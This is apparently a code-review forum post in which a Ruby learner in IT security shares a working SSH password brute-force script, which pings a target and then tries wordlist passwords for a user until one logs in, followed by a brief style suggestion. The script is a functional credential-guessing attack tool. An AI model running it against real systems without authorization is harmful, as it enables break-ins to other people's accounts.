I'm pretty new to Ruby, and working in the IT security field, I thought to make something useful to my work while I learn the language (even though I'm reinventing the wheel).
The script is working fine and doing what I wanted it to, first checking connectivity thanks to ICMP and then bruteforcing through a wordlist to see if the SSH connection is accepted or not, and move on until it is (or the end of the file).
The usage is as follows:
./ssh_brute.rb IP_ADDRESS USER PATH_TO_WORDLIST
My first concern is that I like learning a language properly and writing in its particular style, not having code that "just works". Also the code seems pretty slow to similar programs I have used before, and I would like to know if it had anything with the way it was written or if Ruby is just slower as C for example.
require 'net/ssh'
require 'net/ping'
#Checking arguments and setting them into variables
if ARGV.length != 3
puts "Please RTFM !"
exit
end
target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_s
#Checking network connectivity is good enough (more than 3/5 pings)
icmp = Net::Ping::ICMP.new(target)
network = 0
(1..5).each do
if icmp.ping
network += 1
end
end
if network >= 3
puts "Network connectivity with the target is OK !"
else
puts "Network connectivity with the target seems poor, please check it then try again ! "
exit
end
#Counting lines to give progression + opening wordlist file
File.foreach(wordlist_file) {}
total_lines = $.
wordlist = open(wordlist_file, "r")
linecounter = 0
#Main part, each pass tries to connect to the target using the supplied user + the current line of the list as a password. If it succeeds it exits the program
while pass = wordlist.gets.chomp()
linecounter += 1
print "\rTrying password #{pass}, progress : #{linecounter}/#{total_lines} !"
begin
result1 = Net::SSH.start(target,
user,
:password => pass,
:auth_methods => ["password"],
:number_of_password_prompts => 0
)
rescue Net::SSH::AuthenticationFailed => auth
else
puts "\nThe password is #{pass}"
exit
end
end
puts "\nThe password wasn't found in the list !"
network >= 3
condition can be inverted to avoid anelse
clause:unless network >= 3; abort "Connectivity poor..."; end; puts "Connectivity OK..."; #rest of code
\$\endgroup\$